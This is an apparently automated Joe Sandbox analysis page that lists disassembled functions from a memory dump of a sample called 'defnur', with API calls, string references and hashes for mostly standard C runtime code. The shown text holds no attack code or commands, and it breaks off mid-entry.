Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: ByteCharMultiWide_free
String ID: p{$p{
API String ID: 3242298965-3561016037
Opcode ID: 1de275ccb0e186120c69f46818e8719d0c95ba8e77944155c2e7f9c782aa7c55
Instruction ID: 6ab563a5107fb0a4e589bf9851a9dae83794dbcde6d4c51d4ed9ab57893111c4
Opcode Fuzzy Hash: 1de275ccb0e186120c69f46818e8719d0c95ba8e77944155c2e7f9c782aa7c55
Instruction Fuzzy Hash: C181BFB2A00215EBDB14AFA4D886BFEB7A9FF54700F548029F901AB381E7399E51C751

Function 007ACFEC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 007AD011
CatchIt.LIBVCRUNTIME ref: 007AD0F7

Strings

MOC, xrefs: 007AD023
RCC, xrefs: 007AD02B

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: eb32eab145a0d38d61fda8efc3a41697f910252e61be1333706c8f9d77774e01
Instruction ID: 6f7f17f6257889cf390ea9dc13da2105d3725a2e0d59d0b20813caea539cf69e
Opcode Fuzzy Hash: eb32eab145a0d38d61fda8efc3a41697f910252e61be1333706c8f9d77774e01
Instruction Fuzzy Hash: 0C417972900209EFCF26DF94CC82AEEBBB5FF89300F158259F91566251D3399D51CB51

Function 007BECA9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007BED79

Part of subcall function 007BEB4F: _free.LIBCMT ref: 007BEBAF
Part of subcall function 007BEB4F: GetTimeZoneInformation.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,?,?,?,007BED70,?,?,00000000), ref: 007BEBC1

Strings

p]}, xrefs: 007BECD5

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free$InformationTimeZone
String ID: p]}
API String ID: 597776487-2316410842
Opcode ID: 51f6ebe2af0efd3bef5dc5b8256a844b8d1ccf6f9923d3681ae370cfe4984895
Instruction ID: aeb12d0c8b39cc56f53a66bb219d7d4e134963434ea238e14464e8b08cdd9311
Opcode Fuzzy Hash: 51f6ebe2af0efd3bef5dc5b8256a844b8d1ccf6f9923d3681ae370cfe4984895
Instruction Fuzzy Hash: 9121D772A0061996CB20AB349C89FDB77BC9F84360B240669E565A7292EE7CDD448650

Function 00784910 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0078499F

Part of subcall function 007AAF76: RaiseException.KERNEL32(E06D7363,00000001,00000003,007E39C4,?,?,?,007E39C4), ref: 007AAFD6

Strings

ios_base::eofbit set, xrefs: 00784954
ios_base::failbit set, xrefs: 0078494F
ios_base::badbit set, xrefs: 00784945

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: 1c7313dcb494aee97a235d3058547e92af1952ac72c77a6b21bd42da2c65edfb
Instruction ID: f143739044692a157b80bd6ebf24f6a2b5b94e14ca1c23b0b12ab075386276bd
Opcode Fuzzy Hash: 1c7313dcb494aee97a235d3058547e92af1952ac72c77a6b21bd42da2c65edfb
Instruction Fuzzy Hash: 611106B2640305ABC714EF58C806B96B3E9EF55310F14C52BF8548B641E7B8F904CB51

Function 007B8B6C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(Cz,?,007AE943,?,?,?,6F9B0EF0), ref: 007B8B74
GetLastError.KERNEL32(?,007AE943,?,?,?,6F9B0EF0), ref: 007B8B7E
__dosmaperr.LIBCMT ref: 007B8B85

Strings

Cz, xrefs: 007B8B71

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: DeleteErrorFileLast__dosmaperr
String ID: Cz
API String ID: 1545401867-2027189520
Opcode ID: 7f31eedb32d2b4ea615217006e5b763e927c4c196256f3f190a0f3100dcc7a30
Instruction ID: 710063b542c57de842716593fa44762b54673efc7f626bed3d96aeaf7d5cfaa1
Opcode Fuzzy Hash: 7f31eedb32d2b4ea615217006e5b763e927c4c196256f3f190a0f3100dcc7a30
Instruction Fuzzy Hash: 71D0127210510C778F103BF5BC0CA5B3B6CDE857743944622F62CC54A1EE3EC891D555

Function 007B90E5 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 007B916F

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ed276365596a8a1063d24e94a118d056c93bad8c71ebdf723596cc360760eaf0
Instruction ID: 0a38af6449c23aa1ecdf07fb877c0a03831d91fcd97941b9107711fb30653b5c
Opcode Fuzzy Hash: ed276365596a8a1063d24e94a118d056c93bad8c71ebdf723596cc360760eaf0
Instruction Fuzzy Hash: 7EB14832D00289AFDB11CF68C895BEEBBE5EF55340F254169EB65DB282D63C8D41CB60

Function 007893D0 Relevance: 6.2, APIs: 4, Instructions: 181COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,E072DD58,0000000F,00000000), ref: 0078944A

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 947f99a32736bb13fad06b9cca05d52b5c1bddcfdbe2d7875df9649e78eca5f1
Instruction ID: 2f39f5edb7cc7222333704bf3f493cee1ece2b8a8842c831e5f9eec4ecd04a17
Opcode Fuzzy Hash: 947f99a32736bb13fad06b9cca05d52b5c1bddcfdbe2d7875df9649e78eca5f1
Instruction Fuzzy Hash: DC61E7B0D44248EBDF20BB68CD8A7ADBB75EB45310F54429DE505A72C2E77C5A848B82

Function 007AC9EB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 007ACAB2
___AdjustPointer.LIBCMT ref: 007ACAD5
___AdjustPointer.LIBCMT ref: 007ACB71

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 1f94c6ec0fa56afa7146c4da052195e7bd1641419a2060f4ff2b172c1d0a7e30
Instruction ID: 60abd404cefb90ecd79be14d42ea8610dd8626ba591f75f8193f07992a9a580f
Opcode Fuzzy Hash: 1f94c6ec0fa56afa7146c4da052195e7bd1641419a2060f4ff2b172c1d0a7e30
Instruction Fuzzy Hash: 4C51B4B2605246FFDB2ACF14D846B7A73A4FF86310F14822EE80157191D73AED41C7A0

Function 00789A20 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,E072DD58), ref: 00789A99
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00789B00
GetProcAddress.KERNEL32(00000000), ref: 00789B07

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: bfc5a5da525a3a6c8086661f02f489960e8eb733edea709ca3ac96b22282fb55
Instruction ID: f4549406295871f2e90a09dbac02efb157169f917985052116f15c36516b1a1a
Opcode Fuzzy Hash: bfc5a5da525a3a6c8086661f02f489960e8eb733edea709ca3ac96b22282fb55
Instruction Fuzzy Hash: 105136B0D44248EBDB14FF68DD497EDBB75EB46310F548299E504A72C2EB3D8A80CB91

Function 007A5D40 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 007A5E17
std::_Rethrow_future_exception.LIBCPMT ref: 007A5E69
std::_Rethrow_future_exception.LIBCPMT ref: 007A5E79

Part of subcall function 00783A60: __Mtx_unlock.LIBCPMT ref: 00783B54

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: Mtx_unlockRethrow_future_exceptionstd::_
String ID:
API String ID: 3298230783-0
Opcode ID: fb1791d928230bb0adec3f920004f221c774d9f78859809db6272095969d5128
Instruction ID: 307be33618d7f87bc74a0fec3cb823a3be99df89627e0c6db2360cb376b8f0d0
Opcode Fuzzy Hash: fb1791d928230bb0adec3f920004f221c774d9f78859809db6272095969d5128
Instruction Fuzzy Hash: 1C413B71D04708EBCB15EBA4D846BAEBBF89F57700F00466DF54257542EB39AA04C7A2

Function 007C70AE Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 007C717E
_free.LIBCMT ref: 007C71A7
SetEndOfFile.KERNEL32(00000000,007C390D,00000000,007B7311,?,?,?,?,?,?,?,007C390D,007B7311,00000000), ref: 007C71D9
GetLastError.KERNEL32(?,?,?,?,?,?,?,007C390D,007B7311,00000000,?,?,?,?,00000000), ref: 007C71F5

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 56353322cedb7f17c61d0cf5e6918b616cc2f56e25d047c7a655fa021025f643
Instruction ID: 003994be8e1a3ed7bd7f71b931e18ec21cdab82c5afec64894b65468d8db195f
Opcode Fuzzy Hash: 56353322cedb7f17c61d0cf5e6918b616cc2f56e25d047c7a655fa021025f643
Instruction Fuzzy Hash: 3141837290460DEBDB196BA8CC4AF9E3775AF84360F59411CF924E7292EE3CC940CB61

Function 00782F00 Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00782F9F
GetCurrentThreadId.KERNEL32 ref: 00782FAB
__Mtx_unlock.LIBCPMT ref: 00782FF2
__Cnd_broadcast.LIBCPMT ref: 00782FFB

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: 790469ecc5d3d3eeb7cc5158de19a645b31d4fd471d47a4dada6b7af25f4e207
Instruction ID: d8e6793dde6ca34c185e11330d17060b540125fdc8d547cf7dfb21e3b8a61e97
Opcode Fuzzy Hash: 790469ecc5d3d3eeb7cc5158de19a645b31d4fd471d47a4dada6b7af25f4e207
Instruction Fuzzy Hash: 9041BEB1A01615DFCB11EB28C844B5AB7E8FF59724F044629E91AC7751EB39E901CBC1

Function 007BEED3 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 007AE878: _free.LIBCMT ref: 007AE886

Part of subcall function 007BE37F: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,007BC502,?,00000000,00000000), ref: 007BE42B

GetLastError.KERNEL32 ref: 007BEF3B
__dosmaperr.LIBCMT ref: 007BEF42
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 007BEF81
__dosmaperr.LIBCMT ref: 007BEF88

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 93bf4c6b490afd5d438a288b52204e84a15b539dda3a36d180ee5f78f82fb2e0
Instruction ID: 70d940ba1b95c4c57acb8a2a0760bc9ba6719e4586d8625c5ee124f41e62cbd5
Opcode Fuzzy Hash: 93bf4c6b490afd5d438a288b52204e84a15b539dda3a36d180ee5f78f82fb2e0
Instruction Fuzzy Hash: 9221D371604219BFEB20AF658C84FFBBBADEF013647508524F968C7251D739ED409BA0

Function 007B6CF0 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,007AE157,?,?,?,?,007AEFF2,?), ref: 007B6CF5
_free.LIBCMT ref: 007B6D52
_free.LIBCMT ref: 007B6D88
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,007AE157,?,?,?,?,007AEFF2,?), ref: 007B6D93

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: e83409c3b24a8e73fbb18a4937473b25fa0e834d13d69a9bdb6e48b2f302e531
Instruction ID: 0253da46826b089f0eeec481c3a36ca0fe68ebe712ddadb64908725463b1141b
Opcode Fuzzy Hash: e83409c3b24a8e73fbb18a4937473b25fa0e834d13d69a9bdb6e48b2f302e531
Instruction Fuzzy Hash: DC11A376305241ABDA513774AC89BEB265EEBC53B57240338F724D62E2ED6ECC018116

Function 007A7F88 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 007A7EE9: GetModuleHandleExW.KERNEL32(00000002,00000000,?,?,?,007A7F3B,00000014,?,007A7F7C,00000014,?,00782D32,00000000,00000014), ref: 007A7EF5

__Mtx_unlock.LIBCPMT ref: 007A7FCE
FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,E072DD58,?,?,?,007C87B0,000000FF), ref: 007A7FF6
__Mtx_unlock.LIBCPMT ref: 007A8031
__Cnd_broadcast.LIBCPMT ref: 007A8042

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: Mtx_unlock$CallbackCnd_broadcastFreeHandleLibraryModuleReturnsWhen
String ID:
API String ID: 420990631-0
Opcode ID: cacf9766ca725c8f8e88c2c1956261e92b90598fe6da6809f969313b3d87736c
Instruction ID: 52fe0cd9c61cfffb2292f7d982fdd41194b0d8b91fe10e175bbf840952c94912
Opcode Fuzzy Hash: cacf9766ca725c8f8e88c2c1956261e92b90598fe6da6809f969313b3d87736c
Instruction Fuzzy Hash: BF112677908651EBCB257B61AC0AA1F77A9EB86720F004A1AF80493652DF3D9C01C656

Function 007B6E47 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,007B1187,00782397), ref: 007B6E4C
_free.LIBCMT ref: 007B6EA9
_free.LIBCMT ref: 007B6EDF
SetLastError.KERNEL32(00000000,00000006,000000FF,?,007B1187,00782397), ref: 007B6EEA

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: ebb324eebc3bc3cb09fd3ab979f6bd0a2a385af2db1b4a4c563ffe120e8a5687
Instruction ID: 8976f2dbf2bb051203189db4c149f9e2467fee30f973fb6abad27480eb9f7a58
Opcode Fuzzy Hash: ebb324eebc3bc3cb09fd3ab979f6bd0a2a385af2db1b4a4c563ffe120e8a5687
Instruction Fuzzy Hash: 4611C67A201240BADA513674DCC9FEB266EB7C43B47240338F724D62E2DE2ECC018215

Function 007B9DBF Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(00000020,00000000,?,00000000,?,00000000,?,007C58B7,?,?,?,00000020,00000001), ref: 007B9DD5
GetLastError.KERNEL32(?,007C58B7,?,?,?,00000020,00000001), ref: 007B9DDF
__dosmaperr.LIBCMT ref: 007B9DE6

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 12019194b1b46913a38d394cd5922bb4118dc7d5b43ccb73e5b382de9af8806f
Instruction ID: c1283323bca8de529969a0922c7b0050ea24443d6c1c852c0630b8e45b1b6ebe
Opcode Fuzzy Hash: 12019194b1b46913a38d394cd5922bb4118dc7d5b43ccb73e5b382de9af8806f
Instruction Fuzzy Hash: FDF03132600119BBCB206BA6DC08AD7FF6AFF487A03548525F729C7520D739E861DBD0

Function 007B9E28 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(00000020,00000000,?,00000000,?,00000000,?,007C5842,?,?,?,?,00000020,00000001), ref: 007B9E3E
GetLastError.KERNEL32(?,007C5842,?,?,?,?,00000020,00000001), ref: 007B9E48
__dosmaperr.LIBCMT ref: 007B9E4F

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 6553ff370f0ec49b3976f106d51728a6b8ceedccd408285f7a2cb31177a60cb8
Instruction ID: 90e5f8e04fe75041db1e0037dce2c54374c93598a9032f83622f7b30a08c1f49
Opcode Fuzzy Hash: 6553ff370f0ec49b3976f106d51728a6b8ceedccd408285f7a2cb31177a60cb8
Instruction Fuzzy Hash: 9BF01D33600119BB8F21ABA6DC08ADAFF69FF457A03448521F729C6520D739E850DBD0

Function 007C741A Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,007C3F02,00000000,00000001,00000000,00000000,?,007B7A66,?,?,00000000), ref: 007C7431
GetLastError.KERNEL32(?,007C3F02,00000000,00000001,00000000,00000000,?,007B7A66,?,?,00000000,?,00000000,?,007B7FB2,?), ref: 007C743D

Part of subcall function 007C7403: CloseHandle.KERNEL32(FFFFFFFE,007C744D,?,007C3F02,00000000,00000001,00000000,00000000,?,007B7A66,?,?,00000000,?,00000000), ref: 007C7413

___initconout.LIBCMT ref: 007C744D

Part of subcall function 007C73C5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,007C73F4,007C3EEF,00000000,?,007B7A66,?,?,00000000,?), ref: 007C73D8

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,007C3F02,00000000,00000001,00000000,00000000,?,007B7A66,?,?,00000000,?), ref: 007C7462

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: c2196a368566b236bc4f064b287ca27ae184bc6a88c2324d63c2c3859f6070ab
Instruction ID: e287eb8102ee83434b947bdaa88fbba65dd140e780602801b3e8c80c109f4001
Opcode Fuzzy Hash: c2196a368566b236bc4f064b287ca27ae184bc6a88c2324d63c2c3859f6070ab
Instruction Fuzzy Hash: A9F03036505195BBCF262F95DC08FC93F67FB0C3A1B108018FA08C5531EA369920DF94

Function 007A9A8A Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

